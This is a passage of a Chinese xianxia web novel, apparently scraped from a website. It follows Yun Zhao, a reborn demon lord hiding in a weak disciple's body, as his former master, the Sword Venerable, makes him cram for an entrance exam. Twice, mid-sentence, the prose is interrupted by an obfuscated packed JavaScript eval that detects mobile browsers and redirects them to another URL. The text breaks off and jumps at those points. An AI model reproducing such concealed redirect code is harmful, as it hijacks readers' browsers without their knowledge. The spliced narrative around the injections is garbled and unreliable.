赫寒声看着当年的自己回答道:“若是真有那一天,我必亲手了结他。” “剑尊,弟子有事禀报。” “剑尊?” 遥远的声音如巨钟发出的嗡鸣,将深入梦境的赫寒声唤醒,梦境崩塌,赫寒声被拽入现世,灵台并不清明,识海之中传来阵阵刺痛。 以他如今的修为,理应不该再入梦了,如今却频繁入梦…… 如果放任不管,赫寒声非常清楚自己的下场,走火入魔、道心崩毁、修为尽散,再加上自伤神识,终有一日会神志疯癫。 “何事?” “弟子温锦明,常双月,已尊剑尊嘱托,将贺鑫鑫安排到闻声居暂住。” “好,去忙吧。” - 云诏站在闻声居的小院中央,望着熟悉的一草一木,心情有些复杂,而且这小院内的一切与他走时别无两样,看来过了这么多年,都还有人悉心照料着这里。 大魔头云诏身死这么多年了,这里非但没有被拆毁,还一切都保持着原样? 云诏不禁对赫寒声的高风亮节又增添了几分深刻的认知。 闻声居的一切,都是当年他凭借自己的喜好搭建起来的,而且,从屋内的小窗往外望去,正巧能望见赫寒声的住所,霜庭。 云诏拍拍脸颊,努力使自己振作起来。 一个小院而已,代表不了什么,可能就是赫寒声还顾念着一点微薄的师徒情分呢。 还可能,赫寒声闭关那么多年,早就把闻声居忘了。 云诏调整好心情,推门进屋,屋内摆设也一如当年,纤尘不染,方桌上还放着一个刻印一半的抟灵玉,仿佛屋主只是临时有事离开了。 云诏由衷地赞一声探微剑尊的光风霁月。 若是自己座下出了个逆徒,自己早就把与这逆徒有关的一切都烧成焦炭了。 不过,云诏根本就没想过自己会在这里长住,他小心地没有弄乱原本的摆设,只坐在椅子上,静静等待天黑。 等到天彻底黑了,即使云诏此时这个身体只有炼气初期的修为,他也敏锐地感知到了霜庭那边恐怖的灵力周转。 这就是归墟境的实力。 心知赫寒声已经入定,云诏这才放下心来,他敏锐地查探四周,发现无人跟踪他之后,才鬼鬼祟祟地偷溜下山,去了长宁峰的山脚。 等到了玄天宗的山门,云诏看见山门之外那一抹红色的身影之后,才舒一口气,压着嗓音喊:“澹台兄,这边。” 澹台诫已经等候多时,脸色有点臭,一看见云诏,冷嘲热讽道:“我就知道,你千方百计约我前来,大抵不只是让我感受玄天宗山门浑厚剑意的。” 云诏笑道:“对不住,我被安置到了寒英峰,不敢惊动其他人,时机难寻,好不容易才钻了个空子出来,多有得罪,你就饶我这一次吧。” 没想到云诏这次态度这么好,准备的满肚子反唇相讥之言没了用武之地,澹台诫“哼”一声,颇为高高在上地说了一句:“算你识相。” 云诏看看四周:“卫师兄呢?” 澹台诫回答:“师尊急召,他先回去了。” 云诏点头:“哦,这样啊,正好和你说也一样,白天那会,寒英峰那两个弟子在,我那么说,实在是身不由己。” 澹台诫瞥他一眼:“所以呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595852|205566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 云诏:“我其实还是想去律庭的。” 卫不迟和澹台诫他们两个其实也早有准备,此刻云诏此话一出,澹台诫也立刻响应,拿出早就准备好的入门帖,还是那副“算你识相”的表情,从储物戒里掏出许多宝贝:“师兄也知你白天那么说并非本意,也特意叮嘱我带这些东西过来,只要你在入门帖上写上你自己的名字,这些法宝,全都是你的。 “这个,九死回魂丹,不管你受了多重的伤,只要吞下一颗,就能让你立刻活蹦乱跳,不过不多,三颗,还有这个,能让你的修为立刻提升一个大境界,不过有副作用,慎用,还有这个,能够抵挡分神期修士全力一击……” 澹台诫一股脑地把这些东西塞到云诏怀里,然后微微抬起下巴,一副“我大方吧?还不快点在入门帖上写名字?”的高傲样子。 云诏上一世见多了天阶法宝,这些在他眼里就是小打小闹,不过律庭肯拿这些出来给一个即将入门的炼气期弟子,已是十分重视了。 云诏立刻受宠若惊,配合道:“这让我如何受得住,就算澹台兄你什么都不给我,我也是愿意的。” 澹台诫哼道:“既然如此,那你什么时候跟我走?” 云诏刚要回答,忽听见半空一道幽冷男声:“去哪?” 云诏和澹台诫身体齐齐一抖。 只见一道高大的玄色身影从黑暗之中走出,仿佛有粘稠阴冷的黑雾笼罩在他身周,让人怎么都看不清楚他的表情。 唯有一条三指宽的白绸覆在他眼上,是黑雾中唯一的颜色。 云诏可耻地怂了,躬身行礼:“剑……剑尊!” 澹台诫深深地看了一眼赫寒声,咬牙,并不吭声。 赫寒声走近半步,发尾带着寒夜的潮气,披在身后,面孔朝着云诏的方向,再度出声:“要去哪?” 云诏撒谎也不脸红:“剑尊,我和澹台诫约好明天一起下山去历练的。” 赫寒声不再搭理云诏,再度向前半步,将云诏挡在自己身后,直接朝向澹台诫:“贺鑫鑫是我玄天宗弟子,律庭屡次纠缠,是何意?” 澹台诫丝毫不怕赫寒声:“玄天宗才华横溢的弟子那么多,他贺鑫鑫入玄天宗五年,被埋没至此,痴傻之名远播,而律庭从不会耽误任何一个有心向道的弟子,律庭才是他最好的去处。” 撒谎精云诏扶额,深深叹了一口气。 谎言当场被拆穿,有点尴尬。 赫寒声慢条斯理道:“入门大典之后,若是我愿收他为亲传弟子,如何?” 澹台诫一怔。 亲传弟子,探微剑尊的上一个亲传弟子,是云诏。 怎么可能,贺鑫鑫怎可和灵机君相提并论? 怎么可能!? 澹台诫愕然看向赫寒声,唇瓣微颤,却久久说不出话。 云诏也愣住。 等了许久,没有等到澹台诫的回复,赫寒声耐心告罄,冷声开口:“本座问问你的意见,如何呢?” 澹台诫回神,忍下眼中那一抹怨气和不服,开口道:“剑尊收徒,弟子怎敢过问,弟子只愿大陆上再无被埋没之人,既然剑尊愿意亲自提点贺鑫鑫,弟子自然不会再多言。” 澹台诫看一眼一旁被吓傻了的贺鑫鑫,继续道:“弟子提前恭祝剑尊收得爱徒,唯愿剑尊对座下亲传弟子一视同仁,弟子告辞。” 云诏心中尖叫却是一声高过一声。 别啊,你干嘛要收这个小傻子为徒,不要啊!日夜都要面对赫寒声,身份暴露了怎么办! 直到澹台诫走远了,赫寒声才移至云诏面前,伸出手:“他刚才给了你什么?” 云诏半点不敢耽搁,将法宝全都送到赫寒声面前。 赫寒声:“你倒听话。” 云诏额角渗出一滴冷汗:“弟子天资愚钝,实在不堪占用剑尊座下名额,还望剑尊为自己清誉考量,莫要让弟子痴傻之名玷污剑尊威名……” 在云诏话语声中,那些难得一见的法宝全在赫寒声指间化作齑粉。 云诏微微睁大眼睛。 赫寒声亲自将一枚蕴含着他自己全力一击的玉令系在云诏腰间,归墟境大能恐怖的灵力就蛰伏在那小小的玉令之中,他轻描淡写道:“这里面有本座的灵力,带上它,世上无人能再伤你。” 10. 入门大典(三) 赫寒声的心情似乎还不错,到他这种境界早已能踏碎虚空,瞬移前进,但深更半夜,剑尊大人还有心情陪着云诏步行回寒英峰。 只不过,剑尊不说话,云诏又不知该说什么好,一路上气氛显得有些压抑。 在他重生的这些日子里,也听说过探微剑尊远播的威名,当年明镜之战,剑尊一人一剑,令众魔毫无还手之力,紧随着明镜之战爆发的仙魔战役,剑尊更是一人足以抵挡千军万马,千念之下,绝无活口。足以见得赫寒声对魔界、对魔修的憎恶。 若是被赫寒声发现当年的罪魁祸首不但重生了,还霸占了玄天宗小弟子的躯壳,在玄天宗里作威作福,竟然还成为了自己座下唯一的亲传弟子…… 云诏深吸一口气,这个后果,他有点不敢想,恐怕到时候不仅仅是赫寒声对他千刀万剐就能解决得了的了…… 云诏定神,打破寂静:“剑尊,弟子有一事实在不解。” 赫寒声脚步微顿:“何事?” 云诏:“弟子实在愚蠢,资质下等,已满十四岁才炼气初期,如何能入得了剑尊法眼,弟子本就是玄天宗的弟子,又尚有一些自知之明,倘若弟子运气尚佳,侥幸通过了入门考核,不知拜哪位前辈为师较为合适?” 赫寒声语气微沉:“你不愿拜本座为师?” “当然不是!”云诏连忙补救,“弟子对剑尊大人的崇拜之情如滔滔江水连绵不绝,弟子梦里都是剑尊执剑的英姿,自然是千方百计挤破脑袋也要拜入剑尊座下,只是弟子惶恐,自知不配。” 赫寒声停住脚步,重复道:“千方百计也要拜入本座座下?” 云诏停顿,硬着头皮颔首:“正是!剑尊就是弟子的指路明星,只要远远一望,弟子就信心百倍,整日都在幻想若是能靠近一点,哪怕就一点点,弟子就死而无憾!可弟子知道,弟子满身尘泥,根本不配站在您的身边。” 赫寒声重新迈步:“既然如此,不用你死,通过考核两关,明光自来。” 云诏:“……” 说不通,完全说不通。 玄天宗的入门考核向来严格且困难,共分两试,笔试和心试,笔试自不必说,心试是考验道心和天赋的,每一届入门考核通过的弟子不足总人数一成,通过考核的自然进入内门,有资格成为各长老前辈的亲传弟子,考核成绩在前五成的弟子如果愿意就进入玄天宗,成为外门弟子,如果不愿,也可另寻去处,至于考核成绩太差的后五成弟子,连进入玄天宗外门的机会都没有。 云诏的眼睛忽然一亮。 玄天宗的入门考核那么难,他这个痴傻的小弟子,怎么可能通过得了嘛! 赫寒声的声音忽从前方传来:“到时本座会亲自监考,若是有人故意藏拙或扰乱秩序,本座有权立即安排重考,这些你应该都已听说,对吧,贺鑫鑫?” 云诏:“……” “吾徒?” 云诏连忙回答:“……弟子明白!” - 时间很紧迫,距离玄天宗入门大典只剩下三天时间,云诏没当回事,本想着随便混一混将这三天混过去,但他没想到,黑夜的轮廓还未完全褪下,仅在东方渗出一线青色之时,守云就钻进闻声居,把睡得正香的他从床上揪了起来。 云诏将醒未醒,幸而没什么起床气,揉着一双惺忪的睡眼,模糊看见个小童模样,嘟囔着问:“小守云?” 守云个子小,力气却奇大无比,一双小手铁箍似的抓着云诏肩膀:“贺小师兄,该晨起了,剑尊大人在院外已候你多时了。” 赫寒声就在闻声居的小院里?云诏彻底醒了。 云诏:“……剑尊大人如此勤勉,弟子心悦诚服。” 守云的笑容有点挂不住:“三日之后就是入门大典,剑尊为你着想,亲自要给你辅导,还不快些动起来,莫要让剑尊等久了。” “知道了知道了,我要更衣,小守云,要不你回避一下?”云诏慢悠悠地站起来,把守云请了出去。 被云诏推出去之后,守云还不忘回头叮嘱:“动作快一点,剑尊大人日理万机,时间宝贵。” “好好好,不会让你家剑尊久等的,”云诏敷衍道。 云诏知晓分寸,虽不知赫寒声在门外等自己的用意是什么,但他没多做耽搁,迅速更衣洗漱,他一直不会束发,胡乱用发带系了一个松松垮垮的马尾,推门而出。 小木门在寂静的晨光之中发出“吱呀”一声,赫寒声闻声,头也未抬,轻轻拂落小石桌上的落叶,站起身:“带回去。” 温锦明和常双月立刻应声出列,一左一右地架起还在发愣的云诏,紧跟在赫寒声身后,径直走向霜庭。 简直连说话的机会都不给云诏。 云诏试图挣扎:“剑尊,弟子这是犯了什么过错?” 守云跟在云诏身后,笑眯眯地看他:“贺小师兄,刚才不是和你说了嘛,剑尊大人要亲自指导你,助你顺利通过三日后的入门大典呢。” 云诏心如死灰地闭眼:“弟子,三生有幸。” 守云继续笑眯眯:“是呀,就连一百多年前的那个谁,都没有这种待遇呢。” 哪个谁,云诏大魔头吗? 云诏不想再搭理守云,只想安静地心碎,所幸有赫寒声的威慑在,守云也不敢再多说话,等到进了霜庭之后,温锦明和常双月两人牢牢将他按在书房桌案后的座椅上,才利落退下,顺便关上了门。 云诏发现自己身旁是摞得足有半人高的典籍,桌案上笔墨规矩地摆在左手边,云诏默默抬头,看着赫寒声一拢衣袍,安然在桌旁软椅坐下。 “历届入门大典笔试考核的所有题目都在此处,若是将这些题目都记住,考核自然不成问题,每过两个时辰,本座便会考核你一次,确保进度正常,能让你三天之内,背完这些题目。” 云诏悲从中来:“剑尊,弟子愚钝,弟子就算不吃不喝,也绝无可能在三天之内将这些背完……” 赫寒声声音微冷:“你不愿?” 云诏誓死如归:“并非如此!弟子只是怕弟子太过蠢笨,惹剑尊不悦,为拜入剑尊座下,弟子自当竭尽全力!” 赫寒声语气缓和:“若有不懂,写于纸上,本座自会讲于你听。” 赫寒声此话说完,便如一座精致优美的雕像,静坐不动,徒留云诏在原地愁眉苦脸。 云诏悄悄觑赫寒声的面色。 赫寒声大抵是眼睛受了伤,看不见了,云诏推测赫寒声平日表现与常人无异就是凭借听声辨位再加上感知灵流的原因。 也就是说,自己只要在这坐着,装出读书背题写字的样子,赫寒声就不知道他真正在干什么。 死灰复燃,云诏眼睛又亮了一下。 再加上赫寒声就这么端坐在一旁,也不看书也不干什么,就干坐着,更是让他坚定这个猜测。 毕竟,在上一世他年纪还小那会,赫寒声陪他一起写字学习的时候,不论如何,手里都是要握着一册书卷细细品读的。 云诏将典籍拿在手中,随手翻了两页,只听得纸张翻动的细微声响,他又以右手握笔,在纸上试探地写了几遍狗爬似的自己的名字,果然,赫寒声没有任何反应。 云诏这才放松些许。 背书学习这种事,他从小就不喜欢。 上一世他年纪尚小,刚刚被带入寒英峰上时,赫寒声教他读书写字,他天性活泼好动,总是阳奉阴违,不但坐不住,就连赫寒声给他纠正了好久的右手握笔也坚持不下来,久而久之,见他用左手也写得一手好字,便任他去了。 唯有一点,赫寒声格外严厉。 就是握剑,一定要学会用右手,左手是云诏的惯用手,云诏可以用左手练剑,但同样的剑招,右手一定要学会。 与同门切磋,也只能用右手。 这也就意味着,不管是练什么剑诀,云诏都要学习两遍。 云诏回忆起了一些过往,无奈哼笑两声,随意地用笔在纸上写写画画着。 外面天已大亮,守云顾及到云诏还没辟谷,轻轻推门进来,给云诏送来了一些灵食。 “背到哪里了?”赫寒声忽然问道。 云诏一激灵,随意一瞥摊开的典籍,照着念道:“剑尊,弟子已背到‘闯三十六具金丹期剑傀杀阵时,唯有击破阵眼破损傀儡才可破杀阵’了。” 赫寒声良久不言,若不是知道赫寒声看不见,云诏都要怀疑赫寒声就是知道自己根本没有好好背书了…… “先吃饭吧。” “多谢剑尊!” 云诏如蒙大赦,这一声感谢便应得无比发自肺腑,无比响亮。 不想背书,不想学习,想出去玩…… 云诏一边慢吞吞地吃着灵食,一边胡思乱想。 灵食总有吃尽的那一刻,云诏已极力拉长这段时间,他本想将碗筷送出去,但守云根本不给他机会,小身板灵敏地一钻,直接钻到云诏面前将碗筷端走了…… 云诏:“……” 云诏只好又慢吞吞地往桌案那里走。 忽然听到门外一小弟子拦住守云:“守云小师父,常师兄今天在不在?” 守云回道:“常师兄恰好不在,你有什么事吗,我可以帮你传个话。” 小弟子:“那真是太好了,麻烦小师父帮我和常师兄说一声,我这柄‘无锋’忽然无法变化了,不知是什么原因,改日等常师兄有空时帮我看看。” 守云:“好,那我……” 守云话才说一半,就见一个眉眼如画的少年风一样从见剑尊书房里面冲出来,满脸期盼,眼巴巴地:“不用常师兄,我就可以帮你修。” 小弟子一见云诏,脸立刻红了,都不敢看他,只结巴着问守云:“这……这位小师兄是……” 云诏凑上去,热情地拉住小弟子的手:“我叫贺鑫鑫,你的无锋出问题了?给我看看,包给你修好。” 小弟子着了魔似的,顶着一张大红脸把无锋递给云诏。 云诏一见无锋,整颗心就全贴了上去,仔细观察几遍,他心里就有了数,也不管地面脏,直接盘腿坐下,一双手灵巧如飞,眨眼间,便将无锋所有的小零件全拆下来了。 上一世,云诏见过类似的武器,无锋出自机枢阁,与普通的佩剑不同,它是一柄可以随着剑主灵力而变化外形的“剑”,其中机关灵巧,零件精密咬 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小弟子被那个明媚的笑容一晃,呆了一瞬,随后才迟钝地走过去,任云诏拉住他的手,云诏一蹙眉:“给我些灵力,别愣着啦。” 小弟子赶忙往与云诏手掌紧紧相贴的掌心皮肤那里输送灵力。 乍然,无锋迸发出无上光华,眨眼间在两人面前发生了千变万化。 云诏一笑:“好了,不用谢我。” 小弟子面红耳赤地朝着云诏深深鞠了一躬:“在下渡厄峰林燊,以后若有需要,尽管来找我。” 云诏朝他挥手:“好的好的,没问题,快回去吧。” 送走林燊之后,云诏兴致勃勃地哼着不成调的曲子,正在兴头上,一回头,才看见赫寒声,他立刻站直,有点心虚地喊:“剑尊。” 毕竟他刚才连声招呼都没和赫寒声打,就跑出来了,若是赫寒声此时生气,要发作他,他也是认的。 却没料,赫寒声只是问他:“修好了?” 刚才赫寒声一直在? 话题引到自己感兴趣的方面,云诏心下稍安,滔滔不绝道:“修好了,弟子一见便知那无锋出自机枢阁,是其中一处灵力通路被阻滞了,区区小事,简单。” 云诏说起自己喜欢的东西时,神采飞扬,神情有止不住的小骄傲,仿佛就在等着人夸他。 赫寒声言简意赅:“不错。 “你是如何知晓无锋出自机枢阁的?” “出自机枢阁的武器都会有一道特殊的灵力刻印,只有破坏掉这特殊的灵力刻印,才能拆开,弟子见过机枢阁的灵力刻印,因此才能一眼就看出来。” 云诏话说得露半分,藏半分,上一世他去机枢阁拆家那时,璇玑大陆发生了件骇人听闻的大事,飞镜宫占星大凶,正巧轩辕家有一条下品灵脉枯竭,律庭又久久没有获得天谕,一时间人心惶惶,赫寒声远在律庭与众人议事,忙得很,大抵是不清楚机枢阁那边发生的事。 赫寒声颔首:“原来如此,机枢阁以机关、暗器而闻名,精密零件如此之众,你又是如何做到将其尽数原路拼回的?” 两人之间的氛围无比轻松,发现赫寒声不但没有怪罪自己,还与自己探讨起来,云诏得意地哼哼两声:“剑尊有所不知,机枢阁虽以精巧闻名,每一个零件都周密入微,但其实仔细去看,所有的小零件都可以归结为九大类,只要给这些零件分好类,知晓它们的用处就没有问题。” 此刻与赫寒声的相处极为和谐,云诏是个顺杆爬的性子,胆子又肥了一点,夸下海口:“剑尊以后要是有什么修不好的,尽管来找我……” “云诏。”赫寒声忽然开口。 一刹那间,仿若混着冰碴子的水顺着耳朵灌入他的头颅,上头的血液立即被浇了个透心凉,云诏咬着舌尖才把自己本能要应的声给逼回到嗓子眼里去。 云诏警惕起来,露出一个伪装得十分完美的笑容:“剑尊在喊谁?” 赫寒声长久沉默地伫立,随后在静默中微挪步子,男人高大的身影一点一点向云诏压来。 云诏看不清赫寒声的脸,呼吸乱了一瞬,在极强的压迫感中,微微后撤半步。 “云诏,本座前一任的亲传,与你很像,也喜欢这些。” 云诏立刻松了一口气。 还好还好,身份没有暴露,不知赫寒声什么时候喜欢说话大喘气了。 赫寒声忽然抓住他的手。 云诏愕然抬头。 不知何时赫寒声掏出一张洁白无瑕的手帕,将他的手掌翻开,仔细地擦拭着刚才与小弟子握过的地方。 赫寒声手劲很大,不管是握着他手腕的那一只,还是擦拭他手掌的那一只,都让云诏觉得痛痛的。 “帮你擦干净,去背书,午膳之前,本座还要考核你一场。” 赫寒声的声音很沉,与平常不一样。 云诏眼睁睁看着那张洁白的帕子,在赫寒声强劲的灵力之下,化成了灰。 云诏:“……” 因为他不好好背书,赫寒声生气了,绝对的! 11. 入门大典(四) 云诏说不清楚自己是因什么而入道的。 他成功引气入体,达到炼气初期的那一刻,他什么也没做,被赫寒声带到寒英峰还没有几天,只是哆哆嗦嗦地在寒英峰上玩雪而已。 起初云诏怀疑自己入的是自在道,但后来他发现自己所求甚多,心有挂碍,又不像。 像赫寒声那样以剑入道,入炼己道,闭关苦修,他也做不到。 修罗道、慈悲道更是完全不同。 总不能是无情道吧? 那更不可能了。 也是奇怪,上一世他就这么稀里糊涂随心所欲,像是被人在后面推着似的,一路修炼到了化神巅峰。 如何突破瓶颈,如何稳固道心,他完全不知道,那些典籍经书,更是过目不忘。 云诏抬眼,从书页缝隙之间偷偷觑一眼赫寒声。 他又在这发呆愣神熬过去了大半个上午,连半个字都没进脑子。 此时赫寒声侧对着他坐得端正笔直,对他的不用功不努力虚度光阴一无所知,云诏莫名有点心虚,又静悄悄不过脑子地翻过一页。 “背得如何了?”赫寒声低沉的嗓音响起。 云诏一个激灵,下意识地站起身,声音抖了一下:“剑尊,弟子实在愚钝,恐要辜负您的期望。” 赫寒声慢条斯理起身,手指扶上桌角:“你年纪尚小,叫你三天背下这些,的确有些为难你。” 云诏一喜,努力压了压上翘的嘴角,做出一副自责懊恼的样子:“弟子有愧,一想到弟子在剑尊书房浪费了一整个上午的时间,都没有寻到关窍,仍是不得要领,弟子实在无颜面对剑尊,还请剑尊责罚。” “本座为何要罚你?” 云诏泫然欲泣:“弟子天生痴傻,只有剑尊还没有放弃弟子,不但让弟子背书,还让弟子拜到剑尊座下……剑尊苦心,弟子却无以为报……” “剑尊,莫师兄求见。”守云的声音打断了云诏,云诏一呆,忽然才想到这个莫师兄或许就是当年与温锦明和常双月一起记名在赫寒声座下的三个弟子之一。 莫问程。 赫寒声无悲无喜地道:“进来吧。 门页仅开小小一个缝隙,云诏眼睁睁地看着一截枯木挤了进来。 用枯木来形容莫问程毫不为过,这个人干巴得像是在太阳下暴晒了十天一样,头发蓬乱如枯草,皮肤干裂如树皮,连说话的时候,都粗粝无比,光听着就让人只觉折磨耳朵。 “弟子莫问程,见过剑尊。” 赫寒声淡淡地:“停岚峰面壁十日,《天衍疏》可都背下了?” “弟子愚钝,辜负剑尊苦心,足足十日才将十六册尽数掌握。” 莫问程虚弱得说上四五个字就要深呼吸一下,但他望着赫寒声,双眼之中尽是求知若渴。 云诏木着脸,开始怀疑自己的耳朵。 《天衍疏》? 就是那个一共十六册,册册晦涩难懂,寻常人光是读都无法一次读通顺,十六册摞起来比他人都高的只为刁难人而诞生的绝世奇书《天衍疏》? 莫问程,十天,就全背下来了?背下来了! 云诏悄悄找守云咬耳朵:“这位师兄天才降世,他是犯了什么滔天大罪让他去停岚峰面壁十日啊?” 守云压低嗓音回他:“剑尊向来对弟子严格要求,那日剑尊考核他,他答错了一处《天衍疏》上的典故。” 云诏肃然起敬:“孰能无错,剑尊怎可这般小题大做。” 守云嗔怪看他:“能让剑尊考核课业,他们求之不得,若有幸能得到剑尊指点一二,能抵他们十年苦修。” 不知何时莫问程已经离开了,赫寒声悄无声息地走近他们两个,他听不出喜怒的嗓音忽然响起:“守云,你也想去停岚峰面壁十日?” 小侍童立马挺直脊背,中气十足地道:“弟子不敢!” 云诏眼珠转了一圈,又有了新主意,他忽然迈出一步,满目悲戚:“剑尊,弟子与师兄们有如云泥之别,弟子自知无法通过剑尊考核,自请去停岚峰面壁十日,以专心记背剑尊交代给弟子的任务!” 守云倒吸一口凉气。 整个寒英峰都知晓这贺鑫鑫颇为让人头疼,剑尊借莫师兄来了一次杀鸡儆猴,但是这猴没有一点自觉性,竟然还敢知错不改。这不知天高地厚的样子,怎么和传说中那位一模一样。 守云偷偷瞥了一眼剑尊的脸色,准备伺机而动。 但……但是,守云一刹那瞪大双眼,他以自己的性命起誓,他绝对看见剑尊笑了。 赫寒声嘴角挂上的那一抹浅笑转瞬即逝,快到让人无法捕捉,他挥手让莫问程和守云退下,重新坐回椅子上:“本座不罚你。” 云诏一顿。 “只要通过入门考核,日后不论你想做什么,想如何修炼,我绝不干涉,如何?” 云诏顺着台阶就下:“弟子何德何能,能得剑尊如此赏识,入门考核,弟子自当全力以赴!” 几乎是一瞬间,赫寒声注意到桌案上的笔被云诏放到了右手边,纸上也是歪歪扭扭的狗爬小字,声音顿时冷了几分:“去用午膳吧。” 云诏如蒙大赦,一溜烟就跑出去,暗自腹诽:“这赫寒声,怎么喜怒无常的。” - 云诏一瞬间就跑没影了,赫寒声默然起身,眉宇间笼罩着一抹浓重的忧悒神色,他绕到桌案后,解下眼上白绸,用自己的双眼,仔细地逐字阅读。 正午阳光正盛,强烈的光线刺得赫寒声双眼剧痛,在如此模糊的视野与频繁的阵痛之中,赫寒声意志力惊人,企图从那狗爬小字里辨认出几分故人的痕迹。 答案是没有。 赫寒声眼眶通红,胸腔之中翻动着一缕无端的郁气,在百通城时,惯用手尚还是左手,到了玄天宗,就纠正过来了? 藏什么?躲什么? 一刹那,体外外放的磅礴真元不受控制,巨大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戴孤星仅虚长云诏几岁,是个彻头彻尾的丹痴,也沉迷救治各种疑难杂症,上一世云诏还没堕魔前,戴孤星就已经名震璇玑大陆,出自戴孤星之手的丹药一丹难求,如今一百四十年过去,他已经在玄天宗内自立一峰,开山收徒了,云诏很是欣慰。 那时候云诏没事就喜欢往戴孤星的药园跑,毕竟药园里那些果子总是异常清甜甘脆,比普通的灵果要好吃百倍。 如今,戴孤星已经不是那个在他偷吃药果之后只会追在他屁股后面大骂他的坏脾气丹修了。 戴孤星来得很快,仅是瞥了一眼假用功的云诏,神色有一瞬的愣怔,随后果断直奔内间的赫寒声。 云诏耳朵支棱半天也没听清楚戴孤星在说什么,仅勉强听清楚了几个关键词。 眼疾、心魔、道心、修为倒退。 云诏拧眉。 赫寒声有心魔? 12. 入门大典(五) 内间灵力流转,待灵流静止,很快,戴孤星就离开了,云诏好奇地等着内间的动静,却许久没有听见任何声音。 云诏随手掐了一个传讯符,向澹台诫捎去了自己的问候。 对方不耐烦地秒回:“找我干嘛?” 云诏挑眉:“现在不忙?” 澹台诫直接将传讯符改一笔,改成通讯符,一刹那,澹台诫的声音在云诏识海中响起。 “有话快说,”澹台诫似乎刚训练完,声音还有几分不稳。 云诏:“没事,就是想你了,找你聊聊。” 回应云诏的是长久的沉默。 云诏忍着不笑出声。 良久,澹台诫那暗含着咬牙切齿之意的声音才再度在云诏识海之中响起:“你若是无事可做,不如想一想怎么才能通过玄天宗的入门考核。” 云诏假模假式地翻过一页,在识海内回答:“我如果通不过,不是正好去律庭?” 澹台诫嗤笑:“探微剑尊惜才,你若是不识好歹,探微剑尊解决掉你,就和折断剑冢的废铁没有区别。” 云诏没当回事:“你们不罩着我?” 澹台诫选择无视云诏的这一句话:“若是你真的成为剑尊的亲传弟子,我倒是有些担心剑尊了。” 云诏:“为何?” 澹台诫:“我若是剑尊,上一任弟子是云诏,现任弟子是你的话,别人会以为我走火入魔了。” 云诏忍笑忍得辛苦,肩膀轻轻地颤。 赫寒声站在屏风后,男人高大的身影投射出一道颀长幽黑的影子,他静默伫立在屏风之后不知多久,才缓慢于掌中浮现一小型追踪符咒。 炼气期弟子在归墟境大能面前进行识海通讯,和用嘴说出声没有区别。 通讯符的灵力波动要比一般的传讯符要强,赫寒声在追踪到灵力波动的去向是律庭之后,缓缓捏碎了追踪符咒。 赫寒声就这般站在屏风之后,大半张脸隐在阴影之中,仔细端详着从指缝间漏出去的符咒碎星。 “澹台诫?” 双目的钝痛混着识海几乎要四分五裂的剧痛,赫寒声悄无声息地走出内间,移到云诏身旁。 云诏立刻捏碎通讯符,调整呼吸,若无其事地打招呼:“剑尊,您来啦?” 赫寒声走路怎么听不见一点声音! 赫寒声微微低头,观察到云诏的表情因自己到来而一瞬间变得紧张,轻扯了下嘴角:“不道声别?” 云诏的表情立即垮掉:“剑尊,弟子知错。” 赫寒声:“在和谁通讯?” 云诏垂头丧气地:“弟子有些问题看不懂,不忍打扰剑尊休息,因此才舍近求远,去找澹台师兄问了些小问题。” 赫寒声轻轻重复:“澹台师兄?” 云诏头埋得更低了,默默在心里给澹台诫默哀。 没有等到赫寒声的下文,忽听衣摆窸窣动静,云诏一抬头,悚然望见赫寒声已移至他身边来,修长手指点住桌案上那一张薄薄的纸,这纸上密密麻麻地写满了乱七八糟的小字。 云诏倒吸一口冷气,心立马就悬了起来。 这张纸下面,放着一本不可言说之物。 ——是还在百通城那时,澹台诫有一个话本买重复了,澹台诫生生塞进他兜里的。 这三天,云诏本打算全靠它解闷。 赫寒声指腹摩挲着那些小字,忽地,他动作停住,微微蹙眉。 云诏心头一抖。 完了。 那本《霸道剑尊的纯情小剑仙》要被发现了! 赫寒声察觉到厚度不对,拇指和食指一按,轻轻从薄纸下面抽出一本不厚不薄的册子出来。 “这是何物?” 仗着赫寒声看不见,云诏毕恭毕敬道:“是弟子之前从藏经阁借来的剑谱,本来打算背书背累了就换换脑子的。” 云诏心虚地不敢看赫寒声,但转念一想,反正赫寒声又看不见,于是云诏又挺了挺脊背。 “却见灵机君带着夜露翻进窗棂,险险落入探微剑尊怀中,皎洁月光衬得他肌肤越发莹白,”赫寒声一字一顿地念,嗓音沉厚,每一个吐字都沉稳有力,“探微剑尊情难自抑,深深吻下,惹得怀中人嘤咛连连……” “剑尊,怎可叫这般脏物污了您的眼睛!”云诏劈手就要抢。 什么玩意儿,云诏崩溃,原来赫寒声什么都看得见,没瞎啊!!! 况且他自己就看了个开头,后面还没来得及看,后面内容这么劲爆吗! 赫寒声微微扬手,带着手中书册躲过云诏伸手的一个飞扑。 他的嗓音沉稳依旧,微微垂头,朝向云诏那边,点评道:“文笔尚可,值得一读。” 云诏耳朵尖红红的,话险些都说不利索:“剑尊,此物着实污秽,还请剑尊交还给弟子,让弟子一把火烧了它。” 赫寒声又翻过一页,一目十行:“此文主角并非你我,你为何如此激动?” 云诏狂躁的心跳这才稍显平缓,他反应快,恭敬道:“剑尊您就是弟子的引路明星,弟子决不允许您受到玷污,弟子还没看到后面内容,若是早知如此,弟子一定将此物用烈火焚烧,驱净污秽!” “贺鑫鑫。”赫寒声似乎觉得无趣,正色几分。 “弟子在!” “璇玑大陆情势不明,律庭内部混乱,多方势力混战,并非绝好去处。” 云诏抬头。 “若你通过入门考核,本座决不食言,如何修炼,全权交由你自己决定,本座不做管束,如何?” 云诏狐疑地看向赫寒声。 这么好商好量的探微剑尊,他从未见过。 